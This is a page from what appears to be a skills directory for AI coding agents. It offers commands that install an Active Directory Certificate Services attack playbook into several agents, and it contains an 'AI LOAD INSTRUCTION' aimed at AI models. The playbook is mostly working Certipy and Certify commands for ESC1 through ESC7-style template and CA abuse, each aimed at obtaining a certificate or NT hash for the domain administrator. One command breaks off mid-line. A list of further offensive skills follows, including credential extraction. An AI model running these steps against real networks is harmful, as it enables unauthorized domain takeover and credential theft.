401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
Claude Code
$ npx -y skills add yaklang/hack-skills --skill active-directory-certificate-services --agent claude-code
Codex
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a codex -y
Cursor
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a cursor -y
Gemini CLI
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a gemini-cli -y
GitHub Copilot
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a github-copilot -y
OpenCode
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a opencode -y
Windsurf
$ npx skills add yaklang/hack-skills --skill active-directory-certificate-services -a windsurf -y
name: active-directory-certificate-services description: >- AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
> **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
Before going deep, consider loading:
Also load [ADCS_ESC_MATRIX.md](./ADCS_ESC_MATRIX.md) when you need:
---
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT---
# Certipy (recommended — comprehensive) certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout # Certify (from Windows) Certify.exe find Certify.exe find /vulnerable Certify.exe cas # Enumerate CAs # Manual LDAP query for templates ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \ -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \ "(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage
---
**Condition**: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template VulnTemplate -upn administrator@domain.com # Certify (Windows) Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator # Authenticate with certificate certipy auth -pfx administrator.pfx -dc-ip DC_IP # → NT hash of administrator
---
**Condition**: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template AnyPurposeTemplate -upn administrator@domain.com
---
**Condition**: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template EnrollmentAgent # Step 2: Use enrollment agent cert to request on behalf of admin certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx # Authenticate certipy auth -pfx administrator.pfx -dc-ip DC_IP
---
**Condition**: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable # Using Certipy: certipy template -u user@domain.com -p password -template VulnTemplate \ -save-old -dc-ip DC_IP # Template is now ESC1 → exploit as ESC1 certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template VulnTemplate -upn administrator@domain.com # Restore original template (cleanup) certipy template -u user@domain.com -p password -template VulnTemplate \ -configuration old_config.json -dc-ip DC_IP
---
**Condition**: CA has `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled → any template becomes ESC1.
# Check if flag is set certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags # Exploit: request any template with SAN certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template User -upn administrator@domain.com
---
**Condition**: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN) certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \ -enable-template SubCA # Request SubCA cert with admin SAN (will be denied — "pending") certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \ -template SubCA -upn administrator@domain.com # With ManageCertificates: approve the pending request certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \ -issue-request REQUEST_ID # Retrieve the issued certificate certipy req -u user@dom
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths.…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView…
Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags,…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…